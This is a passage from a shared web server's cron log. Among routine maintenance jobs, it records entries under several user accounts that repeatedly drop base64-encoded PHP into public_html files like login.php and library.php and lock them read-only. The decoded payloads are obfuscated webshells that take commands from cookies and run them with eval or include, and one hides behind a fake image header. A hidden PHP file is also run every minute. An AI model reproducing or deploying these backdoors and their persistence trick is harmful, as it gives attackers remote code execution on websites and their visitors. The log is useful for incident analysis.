keVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:34:01 medusa CROND[10681]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:34:01 medusa CROND[10682]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:34:01 medusa CROND[10686]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:35:01 medusa CROND[32524]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:35:01 medusa CROND[32620]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 15:35:01 medusa CROND[32651]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:35:01 medusa CROND[32652]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 15:35:01 medusa CROND[32653]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 15:35:01 medusa CROND[32655]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 15:35:01 medusa CROND[32656]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 15:35:01 medusa CROND[32658]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:35:01 medusa CROND[32660]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 15:35:01 medusa CROND[32662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:35:01 medusa CROND[32661]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 15:35:01 medusa CROND[32673]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:35:01 medusa CROND[32667]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 15:35:01 medusa CROND[32675]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:35:01 medusa CROND[32676]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:35:01 medusa CROND[32674]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:35:01 medusa CROND[32672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:35:01 medusa CROND[32680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 15:35:02 medusa CROND[32669]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 15:35:02 medusa CROND[32677]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:35:02 medusa CROND[32686]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:35:02 medusa CROND[32689]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 15:35:02 medusa CROND[32695]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 15:35:02 medusa CROND[32668]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 15:35:02 medusa CROND[32694]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 15:36:01 medusa CROND[21956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:36:01 medusa CROND[21957]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 15:36:01 medusa CROND[21958]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:36:01 medusa CROND[21960]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:36:01 medusa CROND[21959]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 15:36:01 medusa CROND[21961]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:36:01 medusa CROND[21962]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:36:01 medusa CROND[21963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
